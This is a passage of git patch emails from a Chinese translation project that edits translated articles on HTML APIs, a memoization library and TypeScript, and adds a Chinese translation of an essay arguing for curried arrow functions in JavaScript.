 那么，你已经掌握了如何在类库中设置一个漂亮的声明性的 API。棒极了！然而，如果你所有的文档都写得只有会 JavaScript 的用户才看得懂，那么就只有很少人能使用了。我记得曾经看过一个很酷的类库，基于 URL 并通过切换元素的 HTML 属性来切换元素的表现形式。然而，这漂亮的 HTML API 并不能被其目标人群所使用，因为整篇文档中都充满了 JavaScript 引用。最开始的例子是这样开始的“这和 `location.href.match(/foo/)` 等价。”非程序员哪能看懂这个呢？
 
@@ -129,7 +132,7 @@ HTML 有一个惯例很让人头痛：在 HTML 中，用属性联系到另一个
 
 当然，你应该在文档中写 API 里 JavaScript 的内容，你可以写在“高级使用”部分。然而，如果你在文档一开头就引用 JavaScript 对象和函数或者软件工程的观念，那么你实质上就是在告诉非程序员这个类库不是给他们用的，因此你就排除了一大批潜在用户。不幸的是，大部分的 HTML API 类库文档都受这些问题困扰着，因为 HTML API 经常被视为是程序员的捷径，而并不是给非程序员使用的。庆幸的是，这种状况在未来可以有改变。
 
-###那么 Web 组件呢？###
+### 那么 Web 组件呢？ ###
 
 在不远的未来，Web 组件百分之百将会彻底改变 HTML API。`<template>` 元素将会允许作者提供惰性加载的脚本。自定义元素将使得用户可以像原生的 HTML 一样使用更多优雅的 `init` 标记。引入 HTML 也将使得作者能够仅引入一个文件来替代三个样式表、五个脚本和十个模板（如果浏览器能够同时获取并且[不再认为 ES6 模块是一种竞争技术](https://hacks.mozilla.org/2014/12/mozilla-and-web-components)）。Shadow DOM 使得类库可以将复杂的 DOM 结构适当压缩并且不会影响用户自己的标记。
 
@@ -137,4 +140,4 @@ HTML 有一个惯例很让人头痛：在 HTML 中，用属性联系到另一个
 
 ### MarkApp：一个 HTML API 类库的列表
 
-如果你已经听取了这篇文章中的建议，那么恭喜你已经能够把网站做得更好，更有包容性和更有创造性了！我在 [MarkApp](http://markapp.io/) 上维护着一些使用 HTML API 类库的列表。请发 Pull Request 给我来添加你自己的内容！
\ No newline at end of file
+如果你已经听取了这篇文章中的建议，那么恭喜你已经能够把网站做得更好，更有包容性和更有创造性了！我在 [MarkApp](http://markapp.io/) 上维护着一些使用 HTML API 类库的列表。请发 Pull Request 给我来添加你自己的内容！

From 52010db54533265bda35bf8deb7d57b0cd368e36 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Wed, 10 May 2017 11:30:37 +0800
Subject: [PATCH 402/638] Update
 the-worlds-fastest-javascript-memoization-library.md

---
 TODO/the-worlds-fastest-javascript-memoization-library.md | 7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

diff --git a/TODO/the-worlds-fastest-javascript-memoization-library.md b/TODO/the-worlds-fastest-javascript-memoization-library.md
index 01a37bde57c..f302b998202 100644
--- a/TODO/the-worlds-fastest-javascript-memoization-library.md
+++ b/TODO/the-worlds-fastest-javascript-memoization-library.md
@@ -225,7 +225,7 @@ V8 会更根据函数的调用频率、代码结构等因素，做很多运行
 ### 面向未来 ###
 
 V8有一个很新的、未发布的优化编译器 [TurboFan](http://v8project.blogspot.com.br/2015/07/digging-into-turbofan-jit.html)。
-我们现在就应该用它测试一下，因为 TurboFan（极有可能）很快就会添加到V8中。通过给 Node.js 设置 flag `--turbo-fan` 就可以启用它。本地运行，请执行命令`npm run benchmark:turbo-fan`。以下是启用后的测试结果：
+我们现在就应该用它测试一下，因为 TurboFan（极有可能）很快就会添加到 V8 中。通过给 Node.js 设置 flag `--turbo-fan` 就可以启用它。本地运行，请执行命令`npm run benchmark:turbo-fan`。以下是启用后的测试结果：
 
 ![使用 TurboFan 的性能](https://blog-assets.risingstack.com/2017/01/performance-with-turbofan.png)
 
@@ -238,14 +238,13 @@ V8有一个很新的、未发布的优化编译器 [TurboFan](http://v8project.b
 以上就是我创建这个世界上最快的记忆化库的过程。分别实现各个部分，组合它们，然后统计每种组合方案的性能数据，从中选择最优的方案。**(使用 [benchmark.js](https://benchmarkjs.com/) )。**
 希望这个过程对其他开发者有所帮助。
 
-[fast-memoize.js 是目前最好的 #JavaScrip 库, 并且我会努力让它一直是最好的。](https://twitter.com/share)
-[分享到 Tweet](https://twitter.com/share)
+fast-memoize.js 是目前最好的 #JavaScrip 库, 并且我会努力让它一直是最好的。
 
 **并非是因为我聪明绝顶, 而是我会一直维护它。** 欢迎给我提交 [Pull requests](https://github.com/caiogondim/fast-memoize.js/pulls)。
 
 正如前 V8 工程师 [Vyacheslav Egorov](https://www.youtube.com/watch?v=g0ek4vV7nEA&amp;t=22s) 所言，在虚拟机上测试算法性能非常棘手。如果你发现测试中的错误，请在 [GitHub](https://github.com/caiogondim/fast-memoize.js/issues) 上提交 issue。
 
-这个库也一样，如果你发现任何问题请提交 issue（如果带上错误用例我会很感激）。带有改进建议的 Pull requests 我将感激不尽。
+这个库也一样，如果你发现任何问题请提交 issue（如果带上错误用例我会很感激）。带有改进建议的 Pull Requests 我将感激不尽。
 
 如果你喜欢这个库，欢迎 [star](https://github.com/caiogondim/fast-memoize.js/stargazers)。这是对我们开源开发者的鼓励哦。
 

From 13c98b71cfc0f4e1051419bc2841ab52caf4efbb Mon Sep 17 00:00:00 2001
From: sqrtthree <imsqrtthree@gmail.com>
Date: Wed, 10 May 2017 12:56:32 +0800
Subject: [PATCH 403/638] =?UTF-8?q?=E6=B7=BB=E5=8A=A0=E3=80=8E=E5=90=88?=
 =?UTF-8?q?=E4=BD=9C=E4=BC=99=E4=BC=B4=E3=80=8F?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 README.md | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/README.md b/README.md
index f7c7c206494..e46882d3702 100644
--- a/README.md
+++ b/README.md
@@ -15,6 +15,10 @@
 - [译文排版规则指北](https://github.com/xitu/gold-miner/wiki/译文排版规则指北)
 - [参与翻译所得的积分能做什么?](https://github.com/xitu/gold-miner/wiki/)
 
+# 合作伙伴：
+
+- [虚位以待]()
+
 
 # 近期文章列表
 

From 939d06a080a4b588e1b38f17c6a85e1e221819a8 Mon Sep 17 00:00:00 2001
From: loveky <ylzcylx@gmail.com>
Date: Wed, 10 May 2017 13:17:12 +0800
Subject: [PATCH 404/638] save

---
 TODO/typescript-getting-popular.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/typescript-getting-popular.md b/TODO/typescript-getting-popular.md
index 41e6f209482..44c216fbc70 100644
--- a/TODO/typescript-getting-popular.md
+++ b/TODO/typescript-getting-popular.md
@@ -83,7 +83,7 @@ TypeScript 团队最近宣布发布频率将由每季度改为每两个月，Hel
 
 『是的，它变得更复杂，但也有着无限多的能力。』 Hejlsberg 谈到 JavaScript 时说道。『利用 JavaScript，你可以使用同一种语言和工具开发出如此多种类的应用。对我而言，这正是推动所有这一切的原因：你可以开发不同类型应用的多样性以及你能从这个不断进化的生态系统中获得的可重用性。它不仅仅变得更复杂了，也更强大了。』
 
-*TNS 分析员 [Lawrence Hecht](https://thenewstack.io/author/lawrence-hecht/) 为此份报告的撰写提供了帮助。*
+**TNS 分析员 [Lawrence Hecht](https://thenewstack.io/author/lawrence-hecht/) 为此份报告的撰写提供了帮助。**
 
 
 

From d3d7b024106f8516551d092a75ed1cb1f7efc771 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E8=96=9B=E5=AE=9A=E8=B0=94=E7=9A=84=E7=8C=AB?=
 <hh_2013@foxmail.com>
Date: Wed, 10 May 2017 13:21:46 +0800
Subject: [PATCH 405/638] Update
 the-worlds-fastest-javascript-memoization-library.md

---
 TODO/the-worlds-fastest-javascript-memoization-library.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/the-worlds-fastest-javascript-memoization-library.md b/TODO/the-worlds-fastest-javascript-memoization-library.md
index f302b998202..4d6ba71f2bc 100644
--- a/TODO/the-worlds-fastest-javascript-memoization-library.md
+++ b/TODO/the-worlds-fastest-javascript-memoization-library.md
@@ -162,7 +162,7 @@
 
 ```js
     functionfoo(a, b) {
-      Return a + b
+      return a + b
     }
     foo.length // => 2
 ```

From 7af3758d3f7afd2cf85fb68fb9aa46bcbfcf9825 Mon Sep 17 00:00:00 2001
From: lsvih <lsvih@qq.com>
Date: Wed, 10 May 2017 14:28:57 +0800
Subject: [PATCH 406/638] Update
 familiarity-bias-is-holding-you-back-its-time-to-embrace-arrow-functions.md

---
 ...ack-its-time-to-embrace-arrow-functions.md | 182 +++++++++---------
 1 file changed, 89 insertions(+), 93 deletions(-)

diff --git a/TODO/familiarity-bias-is-holding-you-back-its-time-to-embrace-arrow-functions.md b/TODO/familiarity-bias-is-holding-you-back-its-time-to-embrace-arrow-functions.md
index 448af4f0d5a..c7d0dde9847 100644
--- a/TODO/familiarity-bias-is-holding-you-back-its-time-to-embrace-arrow-functions.md
+++ b/TODO/familiarity-bias-is-holding-you-back-its-time-to-embrace-arrow-functions.md
@@ -1,34 +1,32 @@
 > * 原文地址：[Familiarity Bias is Holding You Back: It’s Time to Embrace Arrow Functions](https://medium.com/javascript-scene/familiarity-bias-is-holding-you-back-its-time-to-embrace-arrow-functions-3d37e1a9bb75)
 > * 原文作者：[Eric Elliott](https://medium.com/@_ericelliott)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
-> * 译者：
+> * 译者：[lsvih](https://github.com/lsvih)
 > * 校对者：
 
-# Familiarity Bias is Holding You Back: It’s Time to Embrace Arrow Functions #
+# 别让你的偏爱拖了后腿：快拥抱箭头函数吧！ #
 
-![](https://cdn-images-1.medium.com/max/800/1*Dwv24VW3sEuGBo4BqrsRQg.jpeg)
+![题图："锚"——锚212——(CC BY-NC-ND 2.0)](https://cdn-images-1.medium.com/max/800/1*Dwv24VW3sEuGBo4BqrsRQg.jpeg)
 
-“Anchor” — Actor212 — (CC BY-NC-ND 2.0)
+我以教 JavaScript 为生。最近我给学生上了柯里化箭头函数这个课程——这还是最开始的几节课。我认为它是一个很好用的技能，因此将这个内容提到了课程的前面。而学生们没有让我失望，比我想象中地**更快地**掌握了使用箭头函数进行柯里化。
 
-I teach JavaScript for a living. Recently I’ve shuffled around my curriculum to teach curried arrow functions sooner — within the first few lessons. I moved it earlier in the curriculum because it’s an extremely valuable skill, and students pick up currying with arrows **a lot quicker** than I thought they would.
+如果学生们能够理解它，并且能尽快由它获益，为什么不早点将箭头函数教给他们呢？
 
-If they can understand it and take advantage of it earlier, why not teach it earlier?
+> Note：我的课程并不适合那些从来没有接触过代码的人。大多数学生在加入我们的课程之前至少有几个月的编程经历——无论他们是自学，还是通过培训班学习，或者本身就是专业的。然而，我发现许多只有一点经验或者没有经验的年轻开发者们能够很快地接受这些主题。
 
-> Note: My courses are not designed for people who have never touched a line of code before. Most students join after spending at least a few months coding — on their own, in a bootcamp, or professionally. However, I have seen many junior developers with little or no experience pick these topics up quickly.
+我看到很多的学生在上了 1 小时的课之后就能很熟练地使用箭头函数工作了。（如果你是[“和 Eric Elliott 一起学习 JavaScript”](https://ericelliottjs.com/product/lifetime-access-pass/)培训班的同学，你可以看这个约 55 分钟的视频——[ES6 的柯里化与组合](https://ericelliottjs.com/premium-content/es6-curry-composition/)）。
 
-I’ve seen a bunch of students get a working familiarity with curried arrow functions within the span of a single 1-hour lesson. (If you’re a member of [“Learn JavaScript with Eric Elliott”](https://ericelliottjs.com/product/lifetime-access-pass/), you can watch the 55-minute [ES6 Curry & Composition](https://ericelliottjs.com/premium-content/es6-curry-composition/).
+看到学生们如此之快地掌握与应用他们新发现的柯里化方法，我想起了我在推特上发了柯里化箭头函数的帖子，然后被一群人喷“可读性差”的事。我很惊讶为什么他们会坚持这个观点。
 
-Seeing how quickly students pick it up and start wielding their new-found curry powers, I’m always a bit surprised when I post curried arrow functions on Twitter, and the Twitterverse responds with outrage at the thought of inflicting that “unreadable” code on the people who will need to maintain it.
-
-First, let me give you an example of what we’re talking about. The first time I noticed the backlash was the Twitter response to this function:
+首先，我们先来看看这个例子。我在推特发了这个函数，然后我发现有人强烈反对这种写法：
 
 ```
 const secret = msg => () => msg;
 ```
 
-I was shocked when people on Twitter accused me of trying to confuse people. I wrote that function to demonstrate how **easy** it is to express curried functions in ES6. It is the **simplest** practical application and expression of a closure that I can think of in JavaScript. (Related: [“What is a Closure?”](https://medium.com/javascript-scene/master-the-javascript-interview-what-is-a-closure-b2f0d2152b36)).
+我对有人在推特上指责我在误导别人感到不可思议。我写这个函数是为了示范在 ES6 中写柯里化函数是多么的**简单**。它是我能想到的 JavaScript 的**最简单**的实际应用与闭包表达式了。（相关阅读：“[什么是闭包](https://medium.com/javascript-scene/master-the-javascript-interview-what-is-a-closure-b2f0d2152b36)”）
 
-It’s equivalent to the following function expression:
+它和下面的函数表达式等价：
 
 ```
 const secret = function (msg) {
@@ -38,56 +36,56 @@ const secret = function (msg) {
 };
 ```
 
-`secret()` is a function which takes a `msg` and returns a new function which returns the `msg`. It takes advantage of closures to fix the value of `msg` to whatever value you pass into `secret()`.
+`secret()` 是一个函数，它需要传入 `msg` 这个参数，然后会返回一个新的函数，这个函数将会返回 `msg` 的值。无论你像 `secret()` 中传入什么值，它都会应用闭包固定 `msg` 的值。
 
-Here’s how you use it:
+你可以这么用它：
 
 ```
 const mySecret = secret('hi');
 mySecret(); // 'hi'
 ```
 
-It turns out, the “double arrow” is what confused people. I’m convinced that this is a fact:
+事实证明，双箭头并没有让人感到困惑。我坚信：
 
-> With familiarity, in-line arrow functions are the **most readable** way to express curried functions in JavaScript.
+> 对于熟悉的人来说，单行的箭头函数是 JavaScript 中**最具有可读性**的表达柯里化函数的方法了。
 
-Many people have argued to me that the longer form is easier to read than the shorter form. They’re partly right, but mostly wrong. It’s more verbose, and more explicit, but not easier to read — at least, not to somebody **familiar** with arrow functions.
+有许多人指责我，告诉我将代码写的长一些比简短的代码更容易阅读。他们有时也许是对的，但是大多数情况都错了。更长、更详细的代码不一定更容易阅读——至少，对熟悉箭头函数的人来说就是如此。
 
-The objections I saw on Twitter just weren’t jiving with the smooth learning experience my students were enjoying. In my experience, students take to curried arrow functions like fish take to water. Within days of learning them, they are one with the arrows. They sling them effortlessly to tackle all sorts of coding challenges.
+我在推特上看到的持反对意见的人，并没有像我的学生一样享受平滑的学习箭头函数的过程。在我的经验里，学生学习柯里化箭头函数就像鱼在水里生活一样。仅仅学了几天，他们就开始使用箭头了。它帮助学生们轻松地跨过了各种编程问题的鸿沟。
 
-I don’t see any sign that arrow functions are “hard” for them to learn, to read, or to understand — once they have made the initial investment of learning them over the course of a few 1-hour lessons and study sessions.
+我没有看到学习、阅读、理解箭头函数对那些学生造成了任何的“困难”——一旦他们决定学习，只要上个大概一小时的课就能基本掌握。
 
-They easily read curried arrow functions they have never seen before and explain to me what’s going on. They naturally write their own when I present a challenge to them.
+他们能够很轻松地读懂柯里化箭头函数，尽管他们从来没有见过这类的东西，他们还是能够告诉我这些函数做了什么事。当我给他们布置任务后他们也能够很自如地自己完成任务。
 
-In other words, as soon as they become **familiar** with seeing curried arrow functions, they have **no trouble **with them. They read them as easily as you are reading this sentence — and their understanding is reflected in much simpler code with fewer bugs.
+从另一方面说，他们能够很快**熟悉**柯里化箭头函数，并且没有为此产生任何**问题**。他们阅读这些函数就像你读一句话一样，他们对其的理解让他们写出了更简单、更少 bug 的代码。
 
-### Why Some People Think Legacy Function Expressions Look “Easier” to Read ###
+### 为什么一些人认为传统的函数表达式看起来“更具有可读性”？ ###
 
-**Familiarity bias** is a measurable [human cognitive bias](https://www.psychologytoday.com/blog/mind-my-money/200807/familiarity-bias-part-i-what-is-it) that leads us to make self-destructive decisions despite being aware of a better option. We keep using the same old patterns in spite of knowing about better patterns out of comfort and habit.
+**偏爱**是一种显著的[人类认知偏差](https://www.psychologytoday.com/blog/mind-my-money/200807/familiarity-bias-part-i-what-is-it)，它会让我们在有更好的选择的情况下做出自暴自弃的选择。我们会因此无视更舒服更好的方法，习惯性地选用以前使用过的老方法。
 
-You can learn a lot more about familiarity bias (and a lot of other ways we fool ourselves) from the excellent book, [“The Undoing Project: A Friendship that Changed Our Minds”](https://www.amazon.com/Undoing-Project-Friendship-Changed-Minds-ebook/dp/B01GI6S7EK/ref=as_li_ss_tl?ie=UTF8&amp;qid=1492606452&amp;sr=8-1&amp;keywords=the+undoing+project&amp;linkCode=ll1&amp;tag=eejs-20&amp;linkId=4ebd1476f97023e8acb4bba37ea18b90). This book should be required reading for every software developer, because it encourages you to think more critically and test your assumptions in order to avoid falling into a variety of cognitive traps — and the story of how those cognitive traps were discovered is really good, too.
+你可以从这本书中更详细地了解“偏爱”这种心理：[《The Undoing Project: A Friendship that Changed Our Minds》](https://www.amazon.com/Undoing-Project-Friendship-Changed-Minds-ebook/dp/B01GI6S7EK/ref=as_li_ss_tl?ie=UTF8&qid=1492606452&sr=8-1&keywords=the+undoing+project&linkCode=ll1&tag=eejs-20&linkId=4ebd1476f97023e8acb4bba37ea18b90)（很多情况都是我们自欺欺人）。这本书推荐每个软件工程师都去读一读，因为它会鼓励你辩证地去看待问题，以及鼓励你多对假设进行实验，以免掉入各种认知陷阱中。书中那些发现认知陷阱的故事也很有趣。
 
-### Legacy Function Expressions are Probably Causing Bugs in Your Code ###
+### 传统的函数表达式可能会在你的代码中导致 Bug 的出现 ###
 
-Today I was rewriting a curried arrow function from ES6 to ES5 so that I could publish it as an open-source module that people could use in old browsers without transpiling. The ES5 version shocked me.
+今天我将一个 ES6 写的柯里化箭头函数重新到 ES5 版本，以便发布开源模块让人们无需编译就能在老浏览器中用。然而 ES5 版本让我震惊。
 
-The ES6 version was simple, short, and elegant — only 4 lines.
+ES6 版本的代码非常简短、简介、优雅——仅仅只需要 4 行。
 
-I thought for sure, **this** was the function that would prove to Twitter that arrow functions are superior, and that people should abandon their legacy functions like the bad habit they are.
+我觉得，这件事可以发个推特，告诉大家箭头函数是更加优越的一种实现，人们是时候放弃已经习惯传统函数表达式了。
 
-So I tweeted:
+然后我发了一条推特：
 
 [![Markdown](http://i2.muimg.com/1949/15826825ba3ae5a9.png)](https://twitter.com/_ericelliott/status/854608052967751680/photo/1)
 
-Here’s the text of the functions, in case the image isn’t working for you:
+为了防止你看不清图片，下面贴上这个函数的文本：
 
 ```
-// curried with arrows
+// 使用箭头函数柯里化
 const composeMixins = (...mixins) => (
   instance = {},
   mix = (...fns) => x => fns.reduce((acc, fn) => fn(acc), x)
 ) => mix(...mixins)(instance);
-// vs ES5-style
+// 对比一下 ES5 风格的代码：
 var composeMixins = function () {
   var mixins = [].slice.call(arguments);
   return function (instance, mix) {
@@ -107,35 +105,35 @@ var composeMixins = function () {
 };
 ```
 
-The function in question is a simple wrapper around `pipe()`, a standard functional programming utility commonly [used to compose functions](https://medium.com/javascript-scene/master-the-javascript-interview-what-is-function-composition-20dfb109a1a0). A `pipe()` function exists in lodash as `lodash/flow`, in Ramda as `R.pipe()`, and even has its own operator in several functional programming languages.
+这里的函数封装了一个 `pipe()`，它是一个通用、使用的函数，[用来组合函数](https://medium.com/javascript-scene/master-the-javascript-interview-what-is-function-composition-20dfb109a1a0)。这个 `pipe()` 函数在 lodash 中是 `lodash/flow`，在 Ramda 中是 `R.pipe()`，在一些函数式编程语言中它甚至本身就是一个运算符号。
 
-It should be familiar to everybody familiar with [functional programming](https://medium.com/javascript-scene/master-the-javascript-interview-what-is-functional-programming-7f218c68b3a0). As should its primary dependency: [Reduce](https://medium.com/javascript-scene/reduce-composing-software-fe22f0c39a1d).
+它对每个[熟悉函数式编程](https://medium.com/javascript-scene/master-the-javascript-interview-what-is-functional-programming-7f218c68b3a0)的人来说都应该很熟悉。它的实现主要依赖于[Reduce](https://medium.com/javascript-scene/reduce-composing-software-fe22f0c39a1d)。
 
-In this case, it’s being used to compose functional mixins, but that’s an irrelevant detail (and a whole other blog post). Here are the important details:
+在这个例子中，它用来组合混合函数，不过这点无关紧要（有专门写这方面的博客文章）。我们需要注意是以下几个重要的细节：
 
-The function takes any number of functional mixins and returns a function which applies them one after the other in a pipeline — like an assembly line. Each functional mixin takes the `instance` as an input, and tacks some stuff onto it before passing it on to the next function in the pipeline.
+这个函数可以将任何数量的函数混合，最终返回一个函数，这个函数在管道中应用了其它的函数——就像流水线一样。每个混合函数都将实例（`instance`）作为输入，然后在将自己传递给管道中下一个函数之前，将一些变量传入。
 
-If you omit the `instance`, a new object gets created for you.
+如果你没有传入 `instance`，它将会为你创建一个新的对象。
 
-Sometimes we may want to compose the mixins differently. For example, you may want to pass `compose()` instead of `pipe()` to reverse the order of precedence.
+有时你可能会想用别的混合方式。例如，使用 `compose()` 代替 `pipe()` 来传递函数，让组合顺序反过来。
 
-If you don’t need to customize the behavior, you simply leave the default alone, and get standard `pipe()` behavior.
+如果你不需要自定义函数混合时的行为，你可以简单地使用默认设定，使用 `pipe()` 来完成过程。
 
-### Just the Facts ###
+### 事实 ###
 
-Opinions about readability aside, here are **the objective facts** pertaining to this example:
+除了可读性的区别之外，以下列举了一些与这个例子有关的**客观事实**：
 
-- I have multiple years’ experience with both ES5 and ES6 function expressions, arrows or otherwise. Familiarity bias is **not** a variable in this data.
-- I wrote the ES6 version in a few seconds. It contained zero bugs (that I’m aware of — it passes all its unit tests).
-- It took me several minutes to write the ES5 version. At least an order of magnitude more time. Minutes vs seconds. I lost my place in the function indentations twice. I wrote 3 bugs, all of which I had to debug and fix. Two of which I had to resort to `console.log()` to figure out what was going on.
-- The ES6 version is 4 lines of code.
-- The ES5 version is 21 lines long (17 actually contain code).
-- In spite of its tedious verbosity, the ES5 version actually loses some of the information fidelity that is available in the ES6 version. It’s much longer, but **communicates less**, read on for details.
-- The ES6 version contains 2 spreads for function parameters. The ES5 version omits the spreads, and instead uses the *implicit*`arguments` object, which hurts the readability of the function signature (fidelity downgrade 1).
-- The ES6 version defines the default for `mix` in the function signature so you can clearly see that it’s a value for a parameter. The ES5 version obscures that detail and instead hides it deep inside the function body. (fidelity downgrade 2).
-- The ES6 version has only 2 levels of indentation, which helps clarify the structure of how it should be read. The ES5 version has 6, and the nesting levels obscure rather than aid the readability of the function’s structure (fidelity downgrade 3).
+- 我有多年的 ES5 与 ES6 编程经验，无论是箭头函数表达式还是别的函数表达式我都很熟悉。因此“偏爱”对我来说**不是**一个变化无常的因素。
+- 我没几秒就写好了 ES6 版本的代码，它没有任何 bug（它通过了所有的单元测试，因此我敢肯定这点）。
+- 写 ES5 版本的代码花了我好几分钟。一个是几秒，一个是几分钟，差距还是挺大的。写 ES5 代码时，我有 2 次弄错了函数的作用范围；写出了 3 个 bug，然后要花时间去分别调试与修复；还有 2 次我不得不使用 `console.log()` 来弄清函数执行的情况。
+- ES6 版本代码仅仅只有 4 行。
+- ES5 版本代码有 21 行（其中真正有代码的有 17 行）。
+- 尽管 ES5 版本的代码更加冗长，但是它比起 ES6 版本的代码来说仍然缺少了一些信息。它虽然长，但是**表达的东西更少**。这个问题在后面会提到。
+- ES6 版本代码在代码中有 2 个 speard 运算符。而 ES5 版本代码中没有这个运算符，而是使用了**意义晦涩**的 `arguments` 对象，它将严重影响函数内容的可读性。（不推荐原因之一）
+- ES6 版本代码在函数片段中定义了 `mix` 的默认值，由此你可以很清楚地看到它是参数的值。而 ES5 版本代码却混淆了这个细节问题，将它隐藏在函数体中。（不推荐原因之二）
+- ES6 版本代码仅有 2 层代码块，这将会帮助读者理解代码结构，以及知道如何去阅读这个代码。而 ES5 代码有 6 层代码块，复杂的层级结构会让函数结构的可读性变得很差。（不推荐原因之三）
 
-In the ES5 version, `pipe()` occupies most of the function body — so much so that it’s a bit **insane** to define it inline. It really **needs** to be broken out into a separate function to make the ES5 version readable:
+在 ES5 版本代码中，`pipe()` 占据了函数体的大部分内容——要把它们放到同一行中去简直是个荒唐的想法。非常**有必要**将这个函数打散，让我们的 ES5 版本代码更具有可读性：
 
 ```
 var pipe = function () {
@@ -160,9 +158,9 @@ var composeMixins = function () {
 };
 ```
 
-This seems clearly more readable and understandable to me.
+这样，我觉得它更具可读性，并且更容易理解它的意思了。
 
-Let’s see what happens when we apply the same readability “optimization” to the ES6 version:
+让我们看看如果我们对 ES6 版本代码做一些可读性“优化”会怎么样：
 
 ```
 const pipe = (...fns) => x => fns.reduce((acc, fn) => fn(acc), x);
@@ -173,17 +171,17 @@ const composeMixins = (...mixins) => (
 ) => mix(...mixins)(instance);
 ```
 
-Like the ES5 optimization, this version is more verbose (it adds a new variable that wasn’t there before). Unlike the ES5 version, this version is **not significantly more readable** after abstracting the definition of pipe. After all, it already had a variable name clearly assigned to it *in the function signature:*`mix`.
+就像 ES5 版本代码的优化一样，这个“优化”后的代码更加冗长（它加入了之前没有的新变量）。与 ES5 版本代码不同，这个版本在将管道的概念抽象出来后**并没有明显的提高代码可读性**。不过毕竟函数里已经清楚的写明了 `mix` 这个变量，它还是更容易让人理解一些。
 
-The definition of `mix` was already contained on its own line, which makes it unlikely for readers to get confused about where it ends and the rest of the function continues.
+`mix` 的定义本身在它的那一行就已经存在了，它不太可能会让阅读代码的人找不到何时结束 `mix`、剩下的代码何时执行。
 
-Now we have 2 variables representing the same thing instead of 1. Have we gained very much? Not obviously, no.
+而现在我们用了 2 个变量来表示同一个东西。我们因此而获益了吗？完全没有。
 
-So why is the ES5 version **obviously better** with the same function abstracted?
+那么为什么 ES5 函数在对函数进行抽象之后会变得**更具可读性**呢？
 
-Because the ES5 version is **obviously more complex.** The source of that complexity is the crux of this matter. I assert that the source of the complexity boils down to **syntax noise**, and that syntax noise is **obscuring the meaning of the function**, not helping.
+因为之前 ES5 版本的代码**明显更复杂**。这种复杂度的来源是我们讨论的问题重点。我可以断言，它的复杂度的来源归根结底就是**语法干扰**，这种语法干扰只会让**函数的本身含义变得费解**，并没有别的用处。
 
-Let’s shift gears and eliminate some more variables. Let’s use ES6 for both examples, and only compare *arrow functions* vs *legacy function expressions:*
+让我们换种方法，把一些多余的变量去掉，在例子中都使用 ES6 代码，只比较**箭头函数**与**传统函数表达式**：
 
 ```
 var composeMixins = function (...mixins) {
@@ -203,9 +201,9 @@ var composeMixins = function (...mixins) {
 };
 ```
 
-This looks significantly more readable to me. All we’ve changed is that we’re taking advantage of **rest** and **default parameter** syntax. Of course, you’ll have to be **familiar** with rest and default syntax in order for this version to be more readable, but even if you’re not, I think it’s obvious that this version is still **less cluttered**.
+现在，至少我觉得它的可读性显著的提升了。我们利用 **rest** 语法以及**默认参数**语法对它进行了修改。当然，你得对 rest 语法和默认参数语法很熟悉才会觉得这个版本的代码更可读。不过即使你不了解这些，我觉得这个版本也会看起来更加**有条理**。
 
-That helped a lot, but it’s still clear to me that this version is still cluttered enough that abstracting `pipe()` into its own function would **obviously help:**
+现在已经改进了许多了，但是我觉得这个版本还是比较简洁。将 `pips()` 抽象出来，写到它自己的函数里可能会**有所帮助**：
 
 ```
 const pipe = function (...fns) {
@@ -216,7 +214,7 @@ const pipe = function (...fns) {
   };
 };
 
-// Legacy function expressions
+// 传统函数表达式
 const composeMixins = function (...mixins) {
   return function (
     instance = {},
@@ -227,13 +225,13 @@ const composeMixins = function (...mixins) {
 };
 ```
 
-That’s better, right? Now that the `mix` assignment only occupies a single line, the structure of the function is much more clear — but there’s still too much syntax noise for my taste. In `composeMixins()`, it’s not clear to me at a glance where one function ends and another begins.
+这样是不是更好了？现在 `mix` 只占了单独的一样，函数结构也更加的清晰——但是这样做不符合我的胃口，它的语法干扰实在是太多了。在现在的 `composeMixins()` 中，我觉得描述一个函数在哪结束、另一个函数从哪开始还不够清楚。
 
-Rather than call out function bodies, that `function` keyword seems to visually **blend in** with the identifiers around it. There are functions **hiding** in my function! Where does the parameter signature end and the function body begin? I can figure it out out if I look closely, but it’s not visually obvious to me.
+除了调用函数体之外，`funcion` 这个关键字似乎和其它的代码**混淆**在一起了。我的函数的真正的功能被**隐藏**了起来！参数的调用和函数体的起始到底在哪里？如果我仔细看也能够分析出来，但是它对我来说实在是不容易阅读。
 
-What if we could get rid of the function keyword, and call out return values by visually pointing to them with a big **fat arrow** `=>`instead of writing a `return` keyword that blends in with surrounding identifiers?
+那么如果我们去掉 `function` 这个关键字，然后通过一个**大箭头** `=>` 指向返回值来代替 `return` 关键字，避免它们和其它关键部分混在一起，现在会怎么样呢？
 
-Turns out, we can, and here’s what that looks like:
+我们当然可以这么做，代码会是这样的：
 
 ```
 const composeMixins = (...mixins) => (
@@ -242,19 +240,21 @@ const composeMixins = (...mixins) => (
 ) => mix(...mixins)(instance);
 ```
 
-Now it should be clear what’s going on. `composeMixins()` is a function that takes any number of `mixins` and returns a function that takes two optional parameters, `instance`, and `mix`. It returns the result of piping `instance` through the composed `mixins`.
+现在应该可以很清楚这段代码做了什么事了。`composeMixins()` 是一个函数，它传入了任意数量的 `mixins`，最终会返回一个得到两个额外参数（`instance` 与 `mix`）的函数。它返回了通过 `mixins` 管道组合的 `instance` 的结果。
 
-Just one more thing… if we apply the same optimization to `pipe()`, it magically transforms into a one-liner:
+还有一件事……如果我们对 `pipe()` 进行同样的优化，可以神奇地将它写到一行中：
 
 ```
 const pipe = (...fns) => x => fns.reduce((acc, fn) => fn(acc), x);
 ```
 
-With that definition on one-line, the advantage of abstracting it out into its own function is less clear. Remember, this function exists as a utility in Lodash, Ramda, and a bunch of other libraries, but is it really worth the overhead of importing another library?
+当它在一行内被定义的时候，将它抽象成一个函数这件事反而变得不那么明了了。
+
+另外请记住，这个函数在 Lodash、Ramda 以及其它库中都有用到，但是仅仅为了用这个函数就去 import 这些库并不是一件划得来的事。
 
-Is it even worth pulling it out into its own line? Probably. They’re really two different functions, and separating them makes that more clear.
+那么我们自己写一行这个函数有必要吗？应该有的。它实际上是两个不同的函数，把它们分开会让代码更加清晰。
 
